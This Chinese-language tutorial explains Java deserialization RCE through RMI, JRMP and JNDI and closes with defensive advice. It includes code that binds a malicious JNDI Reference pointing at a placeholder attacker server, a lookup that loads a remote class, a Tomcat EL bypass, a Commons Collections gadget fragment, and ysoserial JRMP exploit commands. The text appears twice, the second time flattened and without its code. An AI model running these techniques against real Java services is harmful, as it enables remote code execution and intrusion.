基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
字数 1739 2025-08-25 22:58:56

Java反序列化RCE:深入理解RMI、JRMP与JNDI

1. 核心概念解析

1.1 RMI (Remote Method Invocation)

定义:Java远程方法调用,是一种用于实现远程过程调用的API,使客户机可以调用远程服务器上的对象。

关键特性

  • 跨越JVM的方法调用
  • 依赖于接口设计
  • 隐藏底层网络通信细节
  • 使用Java原生序列化进行数据传输

类比理解:类似于HTTP接口调用,但RMI调用的是Java方法而非HTTP接口

1.2 JRMP (Java Remote Method Protocol)

定义:Java远程方法协议,是RMI底层的线路层协议,运行在TCP/IP之上。

关键特性

  • 专门为Java RMI设计的协议
  • 定义数据格式和传输方式
  • 负责组织序列化数据并通过TCP传输
  • 是RMI能够正常通信的基础

类比理解:类似于HTTP协议之于Web服务,JRMP是RMI的通信协议

1.3 JNDI (Java Naming and Directory Interface)

定义:Java命名和目录接口,提供目录系统服务,将服务名称与对象关联。

关键特性

  • 命名服务:名称与对象/引用关联
  • 目录服务:增加属性概念,可基于属性筛选
  • 常见实现:RMI、LDAP等
  • 客户端可通过名称查找并下载对象

核心组件

  • InitialContext:初始上下文,访问入口
  • Reference:命名引用,包含className、factory、classFactoryLocation

2. 攻击场景分析

2.1 JNDI lookup导致RCE

攻击原理

  1. 攻击者控制JNDI服务(RMI或LDAP)
  2. 服务中绑定恶意Reference对象
  3. 受害者执行InitialContext.lookup()
  4. 客户端下载Reference并按指定加载远程恶意类

关键步骤

// 攻击者设置恶意JNDI服务
Reference reference = new Reference("恶意类","工厂类","http://恶意服务器/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("恶意服务",referenceWrapper);

// 受害者执行
new InitialContext().lookup("rmi://恶意服务器/恶意服务");

绕过限制

  1. JDK 8u121+默认不信任远程codebase
    • 解决方案:使用LDAP代替RMI(8u191前有效)
    • 或使用本地gadget chain(如Tomcat EL)

Tomcat EL利用示例

ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x","恶意EL表达式"));

2.2 Registry bind导致RCE

攻击原理

  1. RMI Registry接收bind请求时
  2. 会反序列化传入的对象
  3. 攻击者构造恶意序列化对象
  4. 通过bind发送给Registry

关键步骤

// 构造恶意对象
Transformer[] transformers = {...}; // gadget chain
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap,transformer);
// ... 构造完整gadget

// 发送给Registry
Registry registry = LocateRegistry.getRegistry("目标",1099);
registry.bind("恶意名称",恶意对象);

防御机制

  • JDK过滤特定危险类
  • 报错示例:ObjectInputFilter REJECTED: class java.util.HashSet

2.3 JRMP互打攻击

客户端攻击服务端

攻击原理

  1. 服务端监听JRMP端口
  2. 客户端连接并发送恶意序列化数据
  3. 服务端反序列化触发RCE

利用工具

java -cp ysoserial.jar ysoserial.exploit.JRMPClient <目标IP> <端口> <payload类型> <命令>

服务端攻击客户端

攻击原理

  1. 攻击者启动恶意JRMP服务
  2. 客户端连接时返回恶意序列化数据
  3. 客户端反序列化触发RCE

利用工具

java -cp ysoserial.jar ysoserial.exploit.JRMPListener <监听端口> <payload类型> <命令>

3. 攻击方式总结

攻击类型 目标 利用点 限制条件
Registry bind RMI Registry bind时的反序列化 JDK过滤机制
JNDI lookup lookup客户端 Reference远程类加载 JDK信任设置
JRMP客户端攻击 JRMP服务端 连接时的反序列化 网络可达
JRMP服务端攻击 JRMP客户端 响应时的反序列化 客户端主动连接

4. 防御建议

  1. 升级JDK到最新版本
  2. 设置com.sun.jndi.rmi.object.trustURLCodebase=false
  3. 使用安全管理器限制反序列化
  4. 网络隔离关键RMI服务
  5. 监控异常JRMP连接

5. 参考资源

  1. Java RMI官方文档
  2. ysoserial工具集
  3. JEP 290(反序列化过滤)
  4. 各JDK版本的安全公告

通过深入理解RMI、JRMP和JNDI的工作原理,可以更好地防御和检测相关的反序列化攻击。关键在于控制反序列化过程和限制不可信的远程代码加载。

Java反序列化RCE:深入理解RMI、JRMP与JNDI 1. 核心概念解析 1.1 RMI (Remote Method Invocation) 定义 :Java远程方法调用,是一种用于实现远程过程调用的API,使客户机可以调用远程服务器上的对象。 关键特性 : 跨越JVM的方法调用 依赖于接口设计 隐藏底层网络通信细节 使用Java原生序列化进行数据传输 类比理解 :类似于HTTP接口调用,但RMI调用的是Java方法而非HTTP接口 1.2 JRMP (Java Remote Method Protocol) 定义 :Java远程方法协议,是RMI底层的线路层协议,运行在TCP/IP之上。 关键特性 : 专门为Java RMI设计的协议 定义数据格式和传输方式 负责组织序列化数据并通过TCP传输 是RMI能够正常通信的基础 类比理解 :类似于HTTP协议之于Web服务,JRMP是RMI的通信协议 1.3 JNDI (Java Naming and Directory Interface) 定义 :Java命名和目录接口,提供目录系统服务,将服务名称与对象关联。 关键特性 : 命名服务:名称与对象/引用关联 目录服务:增加属性概念,可基于属性筛选 常见实现:RMI、LDAP等 客户端可通过名称查找并下载对象 核心组件 : InitialContext :初始上下文,访问入口 Reference :命名引用,包含className、factory、classFactoryLocation 2. 攻击场景分析 2.1 JNDI lookup导致RCE 攻击原理 : 攻击者控制JNDI服务(RMI或LDAP) 服务中绑定恶意Reference对象 受害者执行 InitialContext.lookup() 时 客户端下载Reference并按指定加载远程恶意类 关键步骤 : 绕过限制 : JDK 8u121+默认不信任远程codebase 解决方案:使用LDAP代替RMI(8u191前有效) 或使用本地gadget chain(如Tomcat EL) Tomcat EL利用示例 : 2.2 Registry bind导致RCE 攻击原理 : RMI Registry接收bind请求时 会反序列化传入的对象 攻击者构造恶意序列化对象 通过bind发送给Registry 关键步骤 : 防御机制 : JDK过滤特定危险类 报错示例: ObjectInputFilter REJECTED: class java.util.HashSet 2.3 JRMP互打攻击 客户端攻击服务端 攻击原理 : 服务端监听JRMP端口 客户端连接并发送恶意序列化数据 服务端反序列化触发RCE 利用工具 : 服务端攻击客户端 攻击原理 : 攻击者启动恶意JRMP服务 客户端连接时返回恶意序列化数据 客户端反序列化触发RCE 利用工具 : 3. 攻击方式总结 | 攻击类型 | 目标 | 利用点 | 限制条件 | |---------|------|-------|---------| | Registry bind | RMI Registry | bind时的反序列化 | JDK过滤机制 | | JNDI lookup | lookup客户端 | Reference远程类加载 | JDK信任设置 | | JRMP客户端攻击 | JRMP服务端 | 连接时的反序列化 | 网络可达 | | JRMP服务端攻击 | JRMP客户端 | 响应时的反序列化 | 客户端主动连接 | 4. 防御建议 升级JDK到最新版本 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 使用安全管理器限制反序列化 网络隔离关键RMI服务 监控异常JRMP连接 5. 参考资源 Java RMI官方文档 ysoserial工具集 JEP 290(反序列化过滤) 各JDK版本的安全公告 通过深入理解RMI、JRMP和JNDI的工作原理,可以更好地防御和检测相关的反序列化攻击。关键在于控制反序列化过程和限制不可信的远程代码加载。